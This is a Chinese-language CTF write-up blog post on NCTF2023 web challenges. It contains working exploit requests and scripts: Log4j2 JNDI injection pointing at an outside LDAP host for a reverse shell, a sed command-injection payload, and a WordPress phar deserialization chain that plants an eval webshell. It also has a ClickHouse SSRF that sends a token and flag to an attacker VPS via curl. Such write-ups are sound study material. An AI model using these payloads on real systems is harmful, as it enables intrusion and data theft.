NCTF2023

NCTF2023

前言

因为是南邮的比赛,那肯定是X1r0z大佬出题,所以十分期待,但是打安洵杯耗费了1天时间,不过即使不打安洵杯也做不出来。。。。

web 1/6 因为是共享账号,其他题(其实就一题,排除签到和问卷)是其他人做的

image-20231226111317220

logging*

X1r0z本来打算作为签到题的,但一直没人做出来,就给了挺多hint

X1r0z的WP

这个其实是之前研究 Log4j2 (CVE-2021-44228) 时想到的: SpringBoot 在默认配置下如何触发 Log4j2 JNDI RCE

默认配置是指代码仅仅使用了 Log4j2 的依赖, 而并没有设置其它任何东西 (例如自己写一个 Controller 然后将参数传入 logger.xxx 方法)

核心思路是如何构造一个畸形的 HTTP 数据包使得 SpringBoot 控制台报错, 简单 fuzz 一下就行

一个思路是 Accept 头, 如果 mine type 类型不对控制台会调用 logger 输出日志

logging-web-1  | 2023-12-24 09:15:41.220  WARN 7 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [123]: Invalid mime type "123": does not contain '/']

另外还有 Host 头, 但是只能用一次, 第二次往后就不能再打印日志了

其实一些扫描器黑盒也能直接扫出来 (例如 nuclei)

[CVE-2021-44228] [http] [critical] http://124.71.184.68:8011/ [accept,25db884fff4b]

我是用Host请求头

GET / HTTP/1.1
Host: ${jndi:ldap://118.89.61.71:1389/Basic/ReverseShell/ip/port}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image-20231224122835868

使用Accept请求头

GET / HTTP/1.1
Host: 124.71.184.68:8011
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8${jndi:ldap://ip:port/Basic/ReverseShell/ip/port}
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: aiovg_rand_seed=1362609461Upgrade-Insecure-Requests: 1

wait what


const express = require('express');
const child_process = require('child_process')
const app = express()
app.use(express.json())
const port = 80

function escapeRegExp(string) {
    return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

let users = {
    "admin": "admin",
    "user": "user",
    "guest": "guest",
    'hacker':'hacker'
}

let banned_users = ['hacker']

// 你不准getflag
banned_users.push("admin")

let banned_users_regex = null;
function build_banned_users_regex() {
	let regex_string = ""
    for (let username of banned_users) {
        regex_string += "^" + escapeRegExp(username) + "$" + "|"
    }

    regex_string = regex_string.substring(0, regex_string.length - 1)
    banned_users_regex = new RegExp(regex_string, "g")
}

//鉴权中间件
function requireLogin(req, res, next) {
    let username = req.body.username
    let password = req.body.password
    if (!username || !password) {
        res.send("用户名或密码不能为空")
        return
    }
    if (typeof username !== "string" || typeof password !== "string") {
        res.send("用户名或密码不合法")
        return
    }
    // 基于正则技术的封禁用户匹配系统的设计与实现
    let test1 = banned_users_regex.test(username)
    console.log(`使用正则${banned_users_regex}匹配${username}的结果为:${test1}`)
    if (test1) {
		console.log("第一个判断匹配到封禁用户:",username)
        res.send("用户'"+username + "'被封禁,无法鉴权!")
        return
    }
    // 基于in关键字的封禁用户匹配系统的设计与实现
    let test2 = (username in banned_users)
    console.log(`使用in关键字匹配${username}的结果为:${test2}`)
    if (test2){
        console.log("第二个判断匹配到封禁用户:",username)
        res.send("用户'"+username + "'被封禁,无法鉴权!")
        return
    }
    if (username in users && users[username] === password) {
        next()
        return
    }
    res.send("用户名或密码错误,鉴权失败!")
}

function registerUser(username, password) {
    if (typeof username !== "string" || username.length > 20) {
        return "用户名不合法"
    }
    if (typeof password !== "string" || password.length > 20) {
        return "密码不合法"
    }
    if (username in users) {
        return "用户已存在"
    }

    for(let existing_user in users){
        let existing_user_password = users[existing_user]
        if (existing_user_password === password){
            return `您的密码已经被用户'${existing_user}'使用了,请使用其它的密码`
        }
    }

    users[username] = password
    return "注册成功"
}

app.use(express.static('public'))

// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
    try {
        build_banned_users_regex()
		console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
    } catch (e) {
    }
    next()
})

app.post("/api/register", (req, res) => {
    let username = req.body.username
    let password = req.body.password
    let message = registerUser(username, password)
    res.send(message)
})

app.post("/api/login", requireLogin, (req, res) => {
    res.send("登录成功!")
})

app.post("/api/flag", requireLogin, (req, res) => {
    let username = req.body.username
    if (username !== "admin") {
        res.send("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'")
        return
    }
    let flag = child_process.execSync("cat flag").toString()
    res.end(flag)
    console.error("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!")
    res.on("finish", () => {
        setTimeout(() => { process.exit(0) }, 1)
    })
    return
})

app.post('/api/ban_user', requireLogin, (req, res) => {
    let username = req.body.username
    let ban_username = req.body.ban_username
    if(!ban_username){
        res.send("ban_username不能为空")
        return
    }
    if(username === ban_username){
        res.send("不能封禁自己")
        return
    }
    for (let name of banned_users){
        if (name === ban_username) {
            res.send("用户已经被封禁")
            return
        }
    }
    banned_users.push(ban_username)
    res.send("封禁成功!")
})


app.get("/", (req, res) => {
    res.redirect("/static/index.html")
})

app.listen(port, () => {
    console.log(`listening on port ${port}`)
})

既然admin已经被封禁了,那我们的思路只能是绕过检测

有两个检测,我们先看第二个in关键字

in关键字返回的是数组下标索引,不是元素

var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
0 in trees; // 返回 true
3 in trees; // 返回 true
6 in trees; // 返回 false
"bay" in trees; // 返回 false (必须使用索引号,而不是数组元素的值)

所以第二个检测几乎是没有作用

接下来看第一个,带g的正则表达式我们可以查到

RegExp.prototype.test() - JavaScript | MDN (mozilla.org)

> let r = /^admin$/g
undefined
> r.test("admin")
true
> r.lastIndex
5
> r.test("admin")
false
> r.lastIndex
0

这里就是一个可以逃过检测的地方

但是

// 每次请求前,更新封禁用户正则信息
app.use(function (req, res, next) {
    try {
        build_banned_users_regex()
      console.log("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):",banned_users_regex)
    } catch (e) {
    }
    next()
})

每次请求都会重新生成一个新的正则表达式,都会使r.lastIndex重新置为0

思路就是在新的regex对象赋值之前,抛出 异常 来绕过 regex 的更新!

因为try catch的存在,在build_banned_users_regex方法内抛出异常不会导致请求被中断

如果传入 escapeRegExp(string) 函数中的 string 参数为非字符串类型,

则string不存在 replace 属性,会抛出TypeError,如此来绕过 regex 的更新

所以我们传入参数 ban_username 为 对象、数组 等其他数据类型

当我们使用/api/ban_user把其他数据类型加入到banned_users数组后

每次请求时都会抛出TypeError

所以当我们封禁了这个其他数据类型后,我们使用的就是一直是同一个正则表达式了

测试一下,我们把获取到flag就退出的代码删掉,执行以下代码,若出现三次whoami的结果,猜想即是正确的

import requests

remote_addr="http://localhost:80"

rs = requests.Session()

resp = rs.post(remote_addr+"/api/register",json={"username":"test","password":"test"})
print(resp.text)

resp = rs.post(remote_addr+"/api/ban_user",json={"username":"test","password":"test","ban_username":[0]})
print(resp.text)

#匹配成功,r.lastIndex变为5
resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)
#匹配失败,获取flag,r.lastIndex的结果重置0
resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)

#匹配成功,r.lastIndex变为5
resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)
#匹配失败,获取flag,r.lastIndex的结果重置0
resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)

#匹配成功,r.lastIndex变为5
resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)
#匹配失败,获取flag,r.lastIndex的结果重置0
resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)
注册成功
封禁成功!
用户'admin'被封禁,无法鉴权!
zeropeach\86136

用户'admin'被封禁,无法鉴权!
zeropeach\86136

用户'admin'被封禁,无法鉴权!
zeropeach\86136

所以封禁后,用的一直就是同一个表达式

先访问/api/flag匹配一次admin,使r.lastIndex变为5后

再次访问/api/flag,因为没有更新所以r.lastIndex仍为5,所以banned_users_regex.text("admin")的结果就变为false,就绕过了

因为1分钟会重置,再加上出错不知道维持多久,所以要快,应该用python写代码会好一些,但我懒得写于是分四块依次发包

image-20231226111525334

image-20231226111536455

image-20231226111548860

image-20231226111716939

import requests

remote_addr="http://117.50.175.234:9001"

rs = requests.Session()

resp = rs.post(remote_addr+"/api/register",json={"username":"test","password":"test"})
print(resp.text)

resp = rs.post(remote_addr+"/api/ban_user",json={"username":"test","password":"test","ban_username":[0]})
print(resp.text)

resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)
resp = rs.post(remote_addr+"/api/flag",json={"username":"admin","password":"admin"})
print(resp.text)

webshell generator

<?php
function security_validate()
{
    foreach ($_POST as $key => $value) {
        if (preg_match('/\r|\n/', $value)) {
            die("$key 不能包含换行符!");
        }
        if (strlen($value) > 114) {
            die("$key 不能超过114个字符!");
        }
    }
}
security_validate();
if (@$_POST['method'] && @$_POST['key'] && @$_POST['filename']) {
    if ($_POST['language'] !== 'PHP') {
        die("PHP是最好的语言");
    }
    $method = $_POST['method'];
    $key = $_POST['key'];
    putenv("METHOD=$method") or die("你的method太复杂了!");
    putenv("KEY=$key") or die("你的key太复杂了!");
    $status_code = -1;
    $filename = shell_exec("sh generate.sh");
    if (!$filename) {
        die("生成失败了!");
    }
    $filename = trim($filename);
    header("Location: download.php?file=$filename&filename={$_POST['filename']}");
    exit();
}
?>
//download.php  能够下载文件

<?php

if(isset($_GET['file']) && isset($_GET['filename'])){
    $file = $_GET['file'];
    $filename = $_GET['filename'];
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=$filename");
    readfile($file);
    exit();
}
generate.sh    

#!/bin/sh

set -e

NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16)
cp template.php "/tmp/$NEW_FILENAME"
cd /tmp

sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"

realpath "$NEW_FILENAME"
template.php

<?php eval($_METHOD["KEY"]);

download.php可以任意文件读。无权限读取/flag。

  1. 任意文件读取index.php得知赋值环境变量后调用了sh generate.sh,任意文件读取(或者直接HTTP访问/generate.sh可以下载)generate.sh得知使用sed -i "s/METHOD/$METHOD/g"替换Webshell模板中的关键字。因为使用了双引号,可以进行shell参数展开,但是不能进行shell命令注入,并且只能展开为单个参数。
  2. [查询man手册或互联网](https://www.gnu.org/software/sed/manual/sed.html#sed-commands-list:~:text=newline is suppressed.-,e,-command)得知,GNU sed可以通过e指令执行系统命令。闭合原先的s指令,执行/readflag,会将flag插入到输出文件的第一行。自动跳转到download.php读取即可。

sed指令可以通过换行符分隔,[也可以通过;分隔](https://www.gnu.org/software/sed/manual/sed.html#sed-script-overview:~:text=can be separated by semicolons (%3B))。

通过F12修改页面源码或抓包软件绕过前端格式限制。

exp:提交key为

/g;1e /readflag;s//

ez_wordpress

这种类似实战渗透的需要进行信息收集等,没咋弄过,一般的cms都没看过,别说打较新的版本了

搜到了WP_HTML_Token但找不到poc,唉,不懂咧

wpscan专门用来进行wordpress信息收集,出题人给出了扫描结果(太多人扫描,服务器不行)

前一段时间的DASCTF X 0psu3 也有一道wordpress,后来再看

➜ ~ wpscan --url "http://120.27.148.152:8012/"
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://120.27.148.152:8012/ [120.27.148.152]
[+] Started: Sat Dec 23 17:24:31 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.51 (Debian)
 |  - X-Powered-By: PHP/7.4.27
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://120.27.148.152:8012/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://120.27.148.152:8012/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://120.27.148.152:8012/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.4.1 identified (Insecure, released on 2023-11-09).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://120.27.148.152:8012/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.4.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://120.27.148.152:8012/, Match: 'WordPress 6.4.1'

[+] WordPress theme in use: twentytwentyfour
 | Location: http://120.27.148.152:8012/wp-content/themes/twentytwentyfour/
 | Readme: http://120.27.148.152:8012/wp-content/themes/twentytwentyfour/readme.txt
 | Style URL: http://120.27.148.152:8012/wp-content/themes/twentytwentyfour/style.css
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | The version could not be determined.

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] all-in-one-video-gallery
 | Location: http://120.27.148.152:8012/wp-content/plugins/all-in-one-video-gallery/
 | Last Updated: 2023-09-01T08:47:00.000Z
 | [!] The version is out of date, the latest version is 3.5.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.6.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://120.27.148.152:8012/wp-content/plugins/all-in-one-video-gallery/README.txt

[+] contact-form-7
 | Location: http://120.27.148.152:8012/wp-content/plugins/contact-form-7/
 | Last Updated: 2023-12-19T04:49:00.000Z
 | [!] The version is out of date, the latest version is 5.8.5
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 5.8.4 (90% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - http://120.27.148.152:8012/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.4
 | Confirmed By: Readme - Stable Tag (Aggressive Detection)
 |  - http://120.27.148.152:8012/wp-content/plugins/contact-form-7/readme.txt

[+] drag-and-drop-multiple-file-upload-contact-form-7
 | Location: http://120.27.148.152:8012/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
 | Last Updated: 2023-12-05T07:37:00.000Z
 | [!] The version is out of date, the latest version is 1.3.7.4
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.3.6.2 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://120.27.148.152:8012/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <=======================================================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Dec 23 17:24:38 2023
[+] Requests Done: 174
[+] Cached Requests: 5
[+] Data Sent: 51.165 KB
[+] Data Received: 286.203 KB
[+] Memory used: 313.406 MB
[+] Elapsed time: 00:00:06

因为 WordPress 自身几乎很少出现过高危漏洞, 所以实战中针对 WordPress 站点的渗透一般都是第三方主题和插件, 于是就找了几个有意思的插件, 配合第二条链的 Phar 反序列化组合利用实现 RCE

WordPress 版本 6.4.1 存在pop链

Drag and Drop Multiple File Upload 插件, 版本 1.3.6.2, 存在存储型 XSS, 本质是可以未授权上传图片

All-in-One Video Gallery Plugin 插件, 版本 2.6.0, 存在未授权任意文件下载 / SSRF CVE-2022-2633

上传图片 -> 上传 Phar -> 任意文件下载 / SSRF -> 触发 Phar 反序列化

<?php
namespace 
{
    class WP_HTML_Token 
    {
        public $bookmark_name;
        public $on_destroy;
        
        public function __construct($bookmark_name, $on_destroy) 
        {
            $this->bookmark_name = $bookmark_name;
            $this->on_destroy = $on_destroy;
        }
    }

    $a = new WP_HTML_Token('echo \'<?=eval($_POST[1]);?>\' > /var/www/html/shell.php', 'system');

    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}
?>

自己写个上传文件的点

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 124.71.184.68:8012
Content-Length: 870
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.71.184.68:8012
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryf1M94EpsxN3xWdZQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://124.71.184.68:8012/wp-admin/admin-ajax.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: aiovg_rand_seed=901849345
Connection: close

------WebKitFormBoundaryf1M94EpsxN3xWdZQ
Content-Disposition: form-data; name="upload-file"; filename="test.jpg"
Content-Type: image/jpeg

phar.phar的文件内容
------WebKitFormBoundaryf1M94EpsxN3xWdZQ
Content-Disposition: form-data; name="size_limit"

10485760
------WebKitFormBoundaryf1M94EpsxN3xWdZQ
Content-Disposition: form-data; name="action"

dnd_codedropz_upload
------WebKitFormBoundaryf1M94EpsxN3xWdZQ
Content-Disposition: form-data; name="type"

click
------WebKitFormBoundaryf1M94EpsxN3xWdZQ--



访问/index.php/video/?dl=cGhhcjovLy92YXIvd3d3L2h0bWwvd3AtY29udGVudC91cGxvYWRzL3dwX2RuZGNmN191cGxvYWRzL3dwY2Y3LWZpbGVzL3Rlc3QuanBnL3Rlc3QudHh0


//base64解码后的内容是
//phar:///var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/test.jpg/test.txt
//一定要带上test.txt

就成功写入木马

连上webshell,没有权限读取flag,suid提权

image-20231229001555068

house of click

看官方WP吧,我就复现一下,链接放在最后

Clickhouse数据库

nginx + gunicorn 路径绕过

https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g

有个查询url的用法

https://clickhouse.com/docs/en/sql-reference/table-functions/url

select * from url('http://ip:port/','TabSeparatedRaw','x String'))
select * from url('http://ip:port/',CSV,'a String'))
POST /query	HTTP/1.1/../../api/ping HTTP/1.1      //(query后面有制表符)
Host: 124.71.184.68:8013
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 187

id=1 and (SELECT * FROM url('http://vps_ip:port/?a='||hex((select * FROM url('http://backend:8001/api/token', 'TabSeparatedRaw', 'x String'))), 'TabSeparatedRaw', 'x String'));


image-20231230023835206

记得hex解码

-- ssti to rce

INSERT INTO FUNCTION url('http://backend:8001/api/upload', 'TabSeparatedRaw', 'x String', headers('Content-Type'='multipart/form-data; boundary=----test', 'X-Access-Token'='06a181b5474d020c2237cea4335ee6fd')) VALUES ('------test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/test.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n    __import__(\'os\').system(\'curl http://vps_ip:port/?flag=`/readflag | base64`\')\r\n------test--');

有几个细节

CSV方式上传文件是被双引号包裹

image-20231230022919705

第二

$code:\r\n    __import__(\'os\')

换行和__import__之间有制表符

https://webpy.org/docs/0.3/templetor.zh-cn

$code:
    __import__('os').system('curl http://vps_ip:port/?flag=`/readflag | base64`')

第三

题目中我们select中不能使用insert语句。这里又涉及到clickhouse的http interface,我们可以通过请求http://default:default@db:8123/?query=<SQL> 执行任意SQL语句

把payload二次URL编码放入<SQL>的位置即可

POST /query	HTTP/1.1/../../api/ping HTTP/1.1
Host: 124.71.184.68:8013
Connection: close
Content-Type: application/x-www-form-urlencoded


id=1 and (select * from url('http://default:default@db:8123/?query=%2549%254e%2553%2545%2552%2554%2520%2549%254e%2554%254f%2520%2546%2555%254e%2543%2554%2549%254f%254e%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2562%2561%2563%256b%2565%256e%2564%253a%2538%2530%2530%2531%252f%2561%2570%2569%252f%2575%2570%256c%256f%2561%2564%2527%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%252c%2520%2568%2565%2561%2564%2565%2572%2573%2528%2527%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%2527%253d%2527%256d%2575%256c%2574%2569%2570%2561%2572%2574%252f%2566%256f%2572%256d%252d%2564%2561%2574%2561%253b%2520%2562%256f%2575%256e%2564%2561%2572%2579%253d%252d%252d%252d%252d%2574%2565%2573%2574%2527%252c%2520%2527%2558%252d%2541%2563%2563%2565%2573%2573%252d%2554%256f%256b%2565%256e%2527%253d%2527%2533%2536%2530%2534%2534%2564%2536%2565%2539%2539%2537%2530%2538%2534%2534%2536%2561%2565%2532%2536%2539%2562%2530%2533%2539%2538%2566%2565%2565%2533%2561%2562%2527%2529%2529%2520%2556%2541%254c%2555%2545%2553%2520%2528%2527%252d%252d%252d%252d%252d%252d%2574%2565%2573%2574%255c%2572%255c%256e%2543%256f%256e%2574%2565%256e%2574%252d%2544%2569%2573%2570%256f%2573%2569%2574%2569%256f%256e%253a%2520%2566%256f%2572%256d%252d%2564%2561%2574%2561%253b%2520%256e%2561%256d%2565%253d%2522%256d%2579%2566%2569%256c%2565%2522%253b%2520%2566%2569%256c%2565%256e%2561%256d%2565%253d%2522%252e%252e%252f%2574%2565%256d%2570%256c%2561%2574%2565%2573%252f%2574%2565%2573%2574%252e%2568%2574%256d%256c%2522%255c%2572%255c%256e%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2574%2565%2578%2574%252f%2570%256c%2561%2569%256e%255c%2572%255c%256e%255c%2572%255c%256e%2524%2563%256f%2564%2565%253a%255c%2572%255c%256e%2520%2520%2520%2520%255f%255f%2569%256d%2570%256f%2572%2574%255f%255f%2528%255c%2527%256f%2573%255c%2527%2529%252e%2573%2579%2573%2574%2565%256d%2528%255c%2527%2563%2575%2572%256c%2520%2568%2574%2574%2570%253a%252f%252f%2531%2531%2538%252e%2538%2539%252e%2536%2531%252e%2537%2531%253a%2537%2537%2537%2537%252f%253f%2566%256c%2561%2567%253d%2560%252f%2572%2565%2561%2564%2566%256c%2561%2567%2520%257c%2520%2562%2561%2573%2565%2536%2534%2560%255c%2527%2529%255c%2572%255c%256e%252d%252d%252d%252d%252d%252d%2574%2565%2573%2574%252d%252d%2527%2529%253b','TabSeparatedRaw','x String'))

文件上传成功,最后post请求/,同样还要经过nginx反向代理

POST /	HTTP/1.1/../../api/ping HTTP/1.1
Host: 124.71.184.68:8013
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

name=test

image-20231230023909795

base64解码

nctf{hacking_clickhouse_database_qkh7ZrPqHK2GVHky}

最后

EvilMQ就算了,知识点分开看看记一下,

要编写恶意 TubeMQ Server

org.apache.inlong.tubemq.corerpc.netty.NettyRpcServer.NettyServerHandler#channelRead

控制返回的throwable数据

其次还有绕过RASP,学到了新的方法

Reference

NCTF 2023 Official Writeup - 飞书云文档 (feishu.cn)

https://boogipop.com/2023/12/28/NCTF%202023%20Web%20Writeup(Post-Match)/


NCTF2023
https://zer0peach.github.io/2023/12/24/NCTF2023/
作者
Zer0peach
发布于
2023年12月24日
许可协议